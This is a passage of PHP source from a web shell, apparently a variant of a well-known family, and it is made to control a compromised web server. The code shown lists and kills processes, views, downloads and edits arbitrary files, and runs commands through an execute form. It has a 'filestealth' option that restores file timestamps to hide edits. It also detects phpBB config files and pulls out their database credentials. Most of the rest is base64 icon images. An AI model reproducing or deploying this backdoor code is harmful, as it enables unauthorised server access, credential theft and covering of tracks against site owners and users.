$y = "<a href=\"".$surl."x=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."x=img&img=sort_desc\" border=\"0\"></a>";
}
else {
$y = "<a href=\"".$surl."x=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."x=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";
}
$ret = htmlspecialchars($ret);
if (!$win) {
if ($pid) {
if (is_null($sig)) {$sig = 9;}
echo "Sending signal ".$sig." to #".$pid."... ";
if (posix_kill($pid,$sig)) {echo "OK.";}
else {echo "ERROR.";}
}
while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);}
$stack = explode("
",$ret);
$head = explode(" ",$stack[0]);
unset($stack[0]);
for($i=0;$i<count($head);$i++) {
if ($i != $k) {$head[$i] = "<a href=\"".$surl."x=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".$head[$i]."</b></a>";}
}
$prcs = array();
foreach ($stack as $line) {
if (!empty($line)) {
echo "<tr>";
$line = explode(" ",$line);
$line[10] = join(" ",array_slice($line,10));
$line = array_slice($line,0,11);
if ($line[0] == get_current_user()) {$line[0] = "<font color=green>".$line[0]."</font>";}
$line[] = "<a href=\"".$surl."x=processes&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>";
$prcs[] = $line;
echo "</tr>";
}
}
}
else {
while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);}
while (ereg("=",$ret)) {$ret = str_replace("=","",$ret);}
$ret = convert_cyr_string($ret,"d","w");
$stack = explode("
",$ret);
unset($stack[0],$stack[2]);
$stack = array_values($stack);
$stack[0]=str_replace("Image Name","ImageName",$stack[0]);
$stack[0]=str_replace("Session Name","SessionName",$stack[0]);
$stack[0]=str_replace("Mem Usage","MemoryUsage",$stack[0]);
$head = explode(" ",$stack[0]);
$stack = array_slice($stack,1);
$head = array_values($head);
if ($parsesort[1] != "a") { $y = "<a href=\"".$surl."x=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."x=img&img=sort_desc\" border=\"0\"></a>"; }
else { $y = "<a href=\"".$surl."x=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."x=img&img=sort_asc\" border=\"0\"></a>"; }
if ($k > count($head)) {$k = count($head)-1;}
for($i=0;$i<count($head);$i++) {
if ($i != $k) { $head[$i] = "<a href=\"".$surl."x=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".trim($head[$i])."</b></a>"; }
}
$prcs = array();
unset($stack[0]);
foreach ($stack as $line) {
if (!empty($line)) {
$line = explode(" ",$line);
$line[4] = str_replace(".","",$line[4]);
$line[4] = intval($line[4]) * 1024;
unset($line[5]);
$prcs[] = $line;
}
}
}
$head[$k] = "<b>".$head[$k]."</b>".$y;
$v = $processes_sort[0];
usort($prcs,"tabsort");
if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);}
$tab = array();
$tab[] = $head;
$tab = array_merge($tab,$prcs);
echo "<table class=explorer>";
foreach($tab as $i=>$k) {
echo "<tr>";
foreach($k as $j=>$v) {
if ($win and $i > 0 and $j == 4) {$v = view_size($v);}
echo "<td>".$v."</td>";
}
echo "</tr>";
}
echo "</table>";
}
}
if ($x == "f") {
echo "<div align=left>";
if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit") {
if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";}
else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"".$surl."x=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Create</u></a></center>";}
}
else {
$r = @file_get_contents($d.$f);
$ext = explode(".",$f);
$c = count($ext)-1;
$ext = $ext[$c];
$ext = strtolower($ext);
$rft = "";
foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}}
if (eregi("sess_(.*)",$f)) {$rft = "phpsess";}
if (empty($ft)) {$ft = $rft;}
$arr = array(
array("<img src=\"".$surl."x=img&img=ext_diz\" border=\"0\">","info"),
array("<img src=\"".$surl."x=img&img=ext_html\" border=\"0\">","html"),
array("<img src=\"".$surl."x=img&img=ext_txt\" border=\"0\">","txt"),
array("Code","code"),
array("Session","phpsess"),
array("<img src=\"".$surl."x=img&img=ext_exe\" border=\"0\">","exe"),
array("SDB","sdb"),
array("<img src=\"".$surl."x=img&img=ext_gif\" border=\"0\">","img"),
array("<img src=\"".$surl."x=img&img=ext_ini\" border=\"0\">","ini"),
array("<img src=\"".$surl."x=img&img=download\" border=\"0\">","download"),
array("<img src=\"".$surl."x=img&img=ext_rtf\" border=\"0\">","notepad"),
array("<img src=\"".$surl."x=img&img=change\" border=\"0\">","edit")
);
echo "<b>Viewing file: <img src=\"".$surl."x=img&img=ext_".$ext."\" border=\"0\"> ".$f." (".view_size(filesize($d.$f)).") ".view_perms_color($d.$f)."</b><br>Select action/file-type:<br>";
foreach($arr as $t) {
if ($t[1] == $rft) {echo " <a href=\"".$surl."x=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font color=green>".$t[0]."</font></a>";}
elseif ($t[1] == $ft) {echo " <a href=\"".$surl."x=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b><u>".$t[0]."</u></b></a>";}
else {echo " <a href=\"".$surl."x=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b>".$t[0]."</b></a>";}
echo " (<a href=\"".$surl."x=f&f=".urlencode($f)."&ft=".$t[1]."&white=1&d=".urlencode($d)."\" target=\"_blank\">+</a>) |";
}
echo "<hr size=\"1\" noshade>";
if ($ft == "info") {
echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> ".$d.$f."</td></tr><tr><td><b>Size</b></td><td> ".view_size(filesize($d.$f))."</td></tr><tr><td><b>MD5</b></td><td> ".md5_file($d.$f)."</td></tr>";
if (!$win) {
echo "<tr><td><b>Owner/Group</b></td><td> ";
$ow = posix_getpwuid(fileowner($d.$f));
$gr = posix_getgrgid(filegroup($d.$f));
echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f));
}
echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."x=chmod&f=".urlencode($f)."&d=".urlencode($d)."\">".view_perms_color($d.$f)."</a></td></tr><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr></table>";
$fi = fopen($d.$f,"rb");
if ($fi) {
if ($fullhexdump) {echo "<b>FULL HEXDUMP</b>"; $str = fread($fi,filesize($d.$f));}
else {echo "<b>HEXDUMP PREVIEW</b>"; $str = fread($fi,$hexdump_lines*$hexdump_rows);}
$n = 0;
$a0 = "00000000<br>";
$a1 = "";
$a2 = "";
for ($i=0; $i<strlen($str); $i++) {
$a1 .= sprintf("X",ord($str[$i]))." ";
switch (ord($str[$i])) {
case 0: $a2 .= "<font>0</font>"; break;
case 32:
case 10:
case 13: $a2 .= " "; break;
default: $a2 .= htmlspecialchars($str[$i]);
}
$n++;
if ($n == $hexdump_rows) {
$n = 0;
if ($i+1 < strlen($str)) {$a0 .= sprintf("X",$i+1)."<br>";}
$a1 .= "<br>";
$a2 .= "<br>";
}
}
echo "";
}
}
elseif ($ft == "html") {
if ($white) {@ob_clean();}
echo $r;
if ($white) {capriv8exit();}
}
elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";}
elseif ($ft == "ini") {echo "<pre>"; var_dump(parse_ini_file($d.$f,TRUE)); echo "</pre>";}
elseif ($ft == "phpsess") {
echo "<pre>";
$v = explode("|",$r);
echo $v[0]."<br>";
var_dump(unserialize($v[1]));
echo "</pre>";
}
elseif ($ft == "exe") {
$ext = explode(".",$f);
$c = count($ext)-1;
$ext = $ext[$c];
$ext = strtolower($ext);
$rft = "";
foreach($exeftypes as $k=>$v)
{
if (in_array($ext,$v)) {$rft = $k; break;}
}
$cmd = str_replace("%f%",$f,$rft);
echo "<b>Execute file:</b><form action=\"".$surl."\" method=POST><input type=hidden name=x value=cmd><input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"><br>Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=hidden name=\"d\" value=\"".htmlspecialchars($d)."\"><br><input type=submit name=submit value=\"Execute\"></form>";
}
elseif ($ft == "sdb") {echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>";}
elseif ($ft == "code") {
if (ereg("php"."BB 2.(.*) auto-generated config file",$r)) {
$arr = explode("
",$r);
if (count($arr == 18)) {
include($d.$f);
echo "<b>phpBB configuration is detected in this file!<br>";
if ($dbms == "mysql4") {$dbms = "mysql";}
if ($dbms == "mysql") {echo "<a href=\"".$surl."x=sql&sql_server=".htmlspecialchars($dbhost)."&sql_login=".htmlspecialchars($dbuser)."&sql_passwd=".htmlspecialchars($dbpasswd)."&sql_port=3306&sql_db=".htmlspecialchars($dbname)."\"><b><u>Connect to DB</u></b></a><br><br>";}
else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by this shell. Please, report us for fix.";}
echo "Parameters for manual connect:<br>";
$cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd);
foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'<br>";}
echo "</b><hr size=\"1\" noshade>";
}
}
echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">";
if (!empty($white)) {@ob_clean();}
highlight_file($d.$f);
if (!empty($white)) {capriv8exit();}
echo "</div>";
}
elseif ($ft == "download") {
@ob_clean();
header("Content-type: application/octet-stream");
header("Content-length: ".filesize($d.$f));
header("Content-disposition: attachment; filename=\"".$f."\";");
echo $r;
exit;
}
elseif ($ft == "notepad") {
@ob_clean();
header("Content-type: text/plain");
header("Content-disposition: attachment; filename=\"".$f.".txt\";");
echo($r);
exit;
}
elseif ($ft == "img") {
$inf = getimagesize($d.$f);
if (!$white) {
if (empty($imgsize)) {$imgsize = 20;}
$width = $inf[0]/100*$imgsize;
$height = $inf[1]/100*$imgsize;
echo "<center><b>Size:</b> ";
$sizes = array("100","50","20");
foreach ($sizes as $v) {
echo "<a href=\"".$surl."x=f&f=".urlencode($f)."&ft=img&d=".urlencode($d)."&imgsize=".$v."\">";
if ($imgsize != $v ) {echo $v;}
else {echo "<u>".$v."</u>";}
echo "</a> ";
}
echo "<br><br><img src=\"".$surl."x=f&f=".urlencode($f)."&ft=img&white=1&d=".urlencode($d)."\" width=\"".$width."\" height=\"".$height."\" border=\"1\"></center>";
}
else {
@ob_clean();
$ext = explode($f,".");
$ext = $ext[count($ext)-1];
header("Content-type: ".$inf["mime"]);
readfile($d.$f);
exit;
}
}
elseif ($ft == "edit") {
if (!empty($submit))
{
if ($filestealth) {$stat = stat($d.$f);}
$fp = fopen($d.$f,"w");
if (!$fp) {echo "<b>Can't write to file!</b>";}
else
{
echo "<b>Saved!</b>";
fwrite($fp,$edit_text);
fclose($fp);
if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);}
$r = $edit_text;
}
}
$rows = count(explode("
",$r));
if ($rows < 10) {$rows = 10;}
if ($rows > 30) {$rows = 30;}
echo "<form action=\"".$surl."x=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."\" method=POST><input type=submit name=submit value=\"Save\"> <input type=\"reset\" value=\"Reset\"> <input type=\"button\" onclick=\"location.href='".addslashes($surl."x=ls&d=".substr($d,0,-1))."';\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>";
}
elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";}
else {echo "<center><b>Unknown extension (".$ext."), please, select type manually.</b></center>";}
}
echo "</div>
";
}
}
else {
@ob_clean();
$images = array(
"arrow_ltr"=>
"R0lGODlhJgAWAIABAP///wAAACH5BAHoAwEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQSIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==",
"back"=>
"R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
"aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt".
"Wg0JADs=",
"buffer"=>
"R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo".
"eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD".
"Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==",
"change"=>
"R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+".
"/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA".
"AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC".
"wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA".
"CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL".
"zMshADs=",
"delete"=>
"R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/n5+etgeunp".
"6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCw".
"sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv".
"vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl".
"ZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5".
"BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4".
"STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8G".
"BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQ".
"jwVFHBgiEGQFIgQasYkcSbJQIAA7",
"download"=>
"R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA".
"AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu".
"EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=",
"forward"=>
"R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
"aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqt".
"WqsJADs=",
"home"=>
"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA".
"AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS".
"krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j".
"VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=",
"mode"=>
"R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAA".
"AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO".
"2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/".
"dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=",
"setup"=>
"R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJC".
"QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA".
"ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB".
"qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE".
"OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==",
"small_dir"=>
"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABmJLR0QAAAAAAAD5Q7t/AAAACXBIWXMAAA3XAAAN1wFCKJt4AAAAB3RJTUUH1QsKEjkN+d1wUAAAAX9JREFUOMulkU2IUlEYhp9jKv5AposQWgRBtA6CmSCa5SzjYhG0qYggiP6Y3WxmtrMIol1QM84qRKRlSVC2bBcYRpuIIigFC7F7j0fP/WZx7QriBc2XDw6cw/e8L+9Rly6XtorF4jZTMsYE58Dc2tvdf0KE1J17t+X61RszH7X2eLb3lF6vd6VaqT2PBJSci7Q+taJMeNt4M331qFqpPQCIA6TTGY7k8pEA50IpcFMKpRS1F9X7QAAwxuB5Lq8/9ml2Msylww5nbjpSSOnPYYJmJ8PjjXW0sXMxUslD3H1YPxUH8DwXgJ+/NV/af+cCnDiaBSCmtSadnjP6DMVc1w0T/BfgXwdLARZNYK2PHgZlh7+QiPkIICIopRARRMAXwVphaH3MSBiMLEMr5LLJCcDzXI7nBnT7hh9dD0ThI4wHERAEkTEYGFmZAH512pw+e44PX/+MlwJ3EfARBAUiYaqVkwXqL1+R19/L6vy1nYabOLa2aHnZ4bf378qbqyyrA8KHtMqnsOL4AAAAAElFTkSuQmCC",
"small_unk"=>
"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/MLc+y1U".
"p9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq/Nfo".
"/Mbe+8rh/Mng+7jW+rvY+r7Z+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++fx/e72/vH3/vL4/u31".
"/e31/uDu/dzr/Orz/eHu/fX6/vH4/v////v+/3ez6vf7//T5/kGS4Pv9/7XV+rHT+r/b+rza+vP4".
"/uz0/urz/u71/uvz/dTn/M/k/N3s/dvr/cjg+8Pd+8Hc+sff+8Te+/D2/rXI8rHF8brM87fJ8nmP".
"wr3N86/D8KvB8F9neEFotEBntENptENptSxUpx1IoDlfrTRcrZeeyZacxpmhzIuRtpWZxIuOuKqz".
"9ZOWwX6Is3WIu5im07rJ9J2t2Zek0m57rpqo1nKCtUVrtYir3vf6/46v4Yuu4WZvfr7P6sPS6sDQ".
"66XB6cjZ8a/K79/s/dbn/ezz/czd9mN0jKTB6ai/76W97niXz2GCwV6AwUdstXyVyGSDwnmYz4io".
"24Oi1a3B45Sy4ae944Ccz4Sj1n2GlgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAjnACtVCkCw4JxJAQQqFBjAxo0MNGqsABQAh6CFA3nk0MHiRREVDhzsoLQwAJ0gT4ToecSHAYMz".
"aQgoDNCCSB4EAnImCiSBjUyGLobgXBTpkAA5I6pgmSkDz5cuMSz8yWlAyoCZFGb4SQKhASMBXJpM".
"uSrQEQwkGjYkQCTAy6AlUMhWklQBw4MEhgSA6XPgRxS5ii40KLFgi4BGTEKAsCKXihESCzrsgSQC".
"yIkUV+SqOYLCA4csAup86OGDkNw4BpQ4OaBFgB0TEyIUKqDwTRs4a9yMCSOmDBoyZu4sJKCgwIDj".
"yAsokBkQADs=",
"multipage"=>"R0lGODlhCgAMAJEDAP/////3mQAAAAAAACH5BAEAAAMALAAAAAAKAAwAAAIj3IR".
"pJhCODnovidAovBdMzzkixlXdlI2oZpJWEsSywLzRUAAAOw==",
"sort_asc"=>
"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMa".
"SLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==",
"sort_desc"=>
"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMb".
"SLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=",
"sql_button_drop"=>
"R0lGODlhCQALAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAsA".
"AAg4AP8JREFQ4D+CCBOi4MawITeFCg/iQhEPxcSBlFCoQ5Fx4MSKv1BgRGGMo0iJFC2ehHjSoMt/".
"AQEAOw==",
"sql_button_empty"=>
"R0lGODlhCQAKAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAoA".
"AAgjAP8JREFQ4D+CCBOiMMhQocKDEBcujEiRosSBFjFenOhwYUAAOw==",
"sql_button_insert"=>
"R0lGODlhDQAMAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
